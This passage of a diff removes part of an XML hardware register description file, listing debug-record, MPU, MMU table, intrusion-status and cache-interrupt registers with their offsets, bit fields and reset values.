-              <name>RECORD_APP_PDEBUGINST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CPU_RECORD_PDEBUGSTATUS</name>
-          <addressOffset>0x478</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RECORD_APP_PDEBUGSTATUS</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CPU_RECORD_PDEBUGDATA</name>
-          <addressOffset>0x47C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RECORD_APP_PDEBUGDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CPU_RECORD_PDEBUGPC</name>
-          <addressOffset>0x480</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RECORD_APP_PDEBUGPC</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CPU_RECORD_PDEBUGLS0STAT</name>
-          <addressOffset>0x484</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RECORD_APP_PDEBUGLS0STAT</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CPU_RECORD_PDEBUGLS0ADDR</name>
-          <addressOffset>0x488</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RECORD_APP_PDEBUGLS0ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CPU_RECORD_PDEBUGLS0DATA</name>
-          <addressOffset>0x48C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RECORD_APP_PDEBUGLS0DATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RSA_PD_CTRL</name>
-          <addressOffset>0x490</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RSA_PD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ROM_MPU_TABLE0</name>
-          <addressOffset>0x494</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>ROM_MPU_TABLE0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ROM_MPU_TABLE1</name>
-          <addressOffset>0x498</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>ROM_MPU_TABLE1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ROM_MPU_TABLE2</name>
-          <addressOffset>0x49C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>ROM_MPU_TABLE2</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ROM_MPU_TABLE3</name>
-          <addressOffset>0x4A0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>ROM_MPU_TABLE3</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE0</name>
-          <addressOffset>0x4A4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE1</name>
-          <addressOffset>0x4A8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE2</name>
-          <addressOffset>0x4AC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE2</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE3</name>
-          <addressOffset>0x4B0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE3</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE4</name>
-          <addressOffset>0x4B4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE4</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE5</name>
-          <addressOffset>0x4B8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE5</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE6</name>
-          <addressOffset>0x4BC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE6</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE7</name>
-          <addressOffset>0x4C0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE7</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE8</name>
-          <addressOffset>0x4C4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE8</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE9</name>
-          <addressOffset>0x4C8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE9</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE10</name>
-          <addressOffset>0x4CC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE10</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE11</name>
-          <addressOffset>0x4D0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE11</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE12</name>
-          <addressOffset>0x4D4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE12</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE13</name>
-          <addressOffset>0x4D8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE13</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE14</name>
-          <addressOffset>0x4DC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE14</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE15</name>
-          <addressOffset>0x4E0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE15</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE16</name>
-          <addressOffset>0x4E4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE16</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE17</name>
-          <addressOffset>0x4E8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE17</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE18</name>
-          <addressOffset>0x4EC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE18</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE19</name>
-          <addressOffset>0x4F0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE19</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE20</name>
-          <addressOffset>0x4F4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE20</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE21</name>
-          <addressOffset>0x4F8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE21</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE22</name>
-          <addressOffset>0x4FC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE22</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHROM_MPU_TABLE23</name>
-          <addressOffset>0x500</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SHROM_MPU_TABLE23</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_TABLE0</name>
-          <addressOffset>0x504</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>IMMU_TABLE0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_TABLE1</name>
-          <addressOffset>0x508</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>IMMU_TABLE1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_TABLE2</name>
-          <addressOffset>0x50C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000002</resetValue>
-          <fields>
-            <field>
-              <name>IMMU_TABLE2</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_TABLE3</name>
-          <addressOffset>0x510</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000003</resetValue>
-          <fields>
-            <field>
-              <name>IMMU_TABLE3</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_TABLE4</name>
-          <addressOffset>0x514</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000004</resetValue>
-          <fields>
-            <field>
-              <name>IMMU_TABLE4</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_TABLE5</name>
-          <addressOffset>0x518</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000005</resetValue>
-          <fields>
-            <field>
-              <name>IMMU_TABLE5</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_TABLE6</name>
-          <addressOffset>0x51C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000006</resetValue>
-          <fields>
-            <field>
-              <name>IMMU_TABLE6</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_TABLE7</name>
-          <addressOffset>0x520</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000007</resetValue>
-          <fields>
-            <field>
-              <name>IMMU_TABLE7</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_TABLE8</name>
-          <addressOffset>0x524</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000008</resetValue>
-          <fields>
-            <field>
-              <name>IMMU_TABLE8</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_TABLE9</name>
-          <addressOffset>0x528</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000009</resetValue>
-          <fields>
-            <field>
-              <name>IMMU_TABLE9</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_TABLE10</name>
-          <addressOffset>0x52C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000000A</resetValue>
-          <fields>
-            <field>
-              <name>IMMU_TABLE10</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_TABLE11</name>
-          <addressOffset>0x530</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000000B</resetValue>
-          <fields>
-            <field>
-              <name>IMMU_TABLE11</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_TABLE12</name>
-          <addressOffset>0x534</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000000C</resetValue>
-          <fields>
-            <field>
-              <name>IMMU_TABLE12</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_TABLE13</name>
-          <addressOffset>0x538</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000000D</resetValue>
-          <fields>
-            <field>
-              <name>IMMU_TABLE13</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_TABLE14</name>
-          <addressOffset>0x53C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000000E</resetValue>
-          <fields>
-            <field>
-              <name>IMMU_TABLE14</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_TABLE15</name>
-          <addressOffset>0x540</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000000F</resetValue>
-          <fields>
-            <field>
-              <name>IMMU_TABLE15</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_TABLE0</name>
-          <addressOffset>0x544</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DMMU_TABLE0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_TABLE1</name>
-          <addressOffset>0x548</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>DMMU_TABLE1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_TABLE2</name>
-          <addressOffset>0x54C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000002</resetValue>
-          <fields>
-            <field>
-              <name>DMMU_TABLE2</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_TABLE3</name>
-          <addressOffset>0x550</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000003</resetValue>
-          <fields>
-            <field>
-              <name>DMMU_TABLE3</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_TABLE4</name>
-          <addressOffset>0x554</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000004</resetValue>
-          <fields>
-            <field>
-              <name>DMMU_TABLE4</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_TABLE5</name>
-          <addressOffset>0x558</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000005</resetValue>
-          <fields>
-            <field>
-              <name>DMMU_TABLE5</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_TABLE6</name>
-          <addressOffset>0x55C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000006</resetValue>
-          <fields>
-            <field>
-              <name>DMMU_TABLE6</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_TABLE7</name>
-          <addressOffset>0x560</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000007</resetValue>
-          <fields>
-            <field>
-              <name>DMMU_TABLE7</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_TABLE8</name>
-          <addressOffset>0x564</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000008</resetValue>
-          <fields>
-            <field>
-              <name>DMMU_TABLE8</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_TABLE9</name>
-          <addressOffset>0x568</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000009</resetValue>
-          <fields>
-            <field>
-              <name>DMMU_TABLE9</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_TABLE10</name>
-          <addressOffset>0x56C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000000A</resetValue>
-          <fields>
-            <field>
-              <name>DMMU_TABLE10</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_TABLE11</name>
-          <addressOffset>0x570</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000000B</resetValue>
-          <fields>
-            <field>
-              <name>DMMU_TABLE11</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_TABLE12</name>
-          <addressOffset>0x574</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000000C</resetValue>
-          <fields>
-            <field>
-              <name>DMMU_TABLE12</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_TABLE13</name>
-          <addressOffset>0x578</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000000D</resetValue>
-          <fields>
-            <field>
-              <name>DMMU_TABLE13</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_TABLE14</name>
-          <addressOffset>0x57C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000000E</resetValue>
-          <fields>
-            <field>
-              <name>DMMU_TABLE14</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_TABLE15</name>
-          <addressOffset>0x580</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000000F</resetValue>
-          <fields>
-            <field>
-              <name>DMMU_TABLE15</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_INTRUSION_CTRL</name>
-          <addressOffset>0x584</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>PRO_INTRUSION_RECORD_RESET_N</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_INTRUSION_STATUS</name>
-          <addressOffset>0x588</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_INTRUSION_RECORD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_INTRUSION_CTRL</name>
-          <addressOffset>0x58C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>APP_INTRUSION_RECORD_RESET_N</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_INTRUSION_STATUS</name>
-          <addressOffset>0x590</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_INTRUSION_RECORD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>FRONT_END_MEM_PD</name>
-          <addressOffset>0x594</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000005</resetValue>
-          <fields>
-            <field>
-              <name>AGC_MEM_FORCE_PU</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AGC_MEM_FORCE_PD</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PBUS_MEM_FORCE_PU</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PBUS_MEM_FORCE_PD</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MMU_IA_INT_EN</name>
-          <addressOffset>0x598</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MMU_IA_INT_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>24</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MPU_IA_INT_EN</name>
-          <addressOffset>0x59C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MPU_IA_INT_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>17</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CACHE_IA_INT_EN</name>
-          <addressOffset>0x5A0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CACHE_IA_INT_EN</name>
-              <description>Interrupt enable bits for various invalid cache access reasons</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>28</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_IA_INT_APP_DROM0</name>
-              <description>APP CPU invalid access to DROM0 when cache is disabled </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_IA_INT_APP_IRAM0</name>
-              <description>APP CPU invalid access to IRAM0 when cache is disabled </description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_IA_INT_APP_IRAM1</name>
-              <description>APP CPU invalid access to IRAM1 when cache is disabled </description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_IA_INT_APP_IROM0</name>
-              <description>APP CPU invalid access to IROM0 when cache is disabled </description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_IA_INT_APP_DRAM1</name>
-              <description>APP CPU invalid access to DRAM1 when cache is disabled </description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_IA_INT_APP_OPPOSITE</name>
-              <description>APP CPU invalid access to APP CPU cache when cache disabled </description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_IA_INT_PRO_DROM0</name>
-              <description>PRO CPU invalid access to DROM0 when cache is disabled </description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_IA_INT_PRO_IRAM0</name>
-              <description>PRO CPU invalid access to IRAM0 when cache is disabled </description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_IA_INT_PRO_IRAM1</name>
-              <description>PRO CPU invalid access to IRAM1 when cache is disabled </description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_IA_INT_PRO_IROM0</name>
-              <description>PRO CPU invalid access to IROM0 when cache is disabled </description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
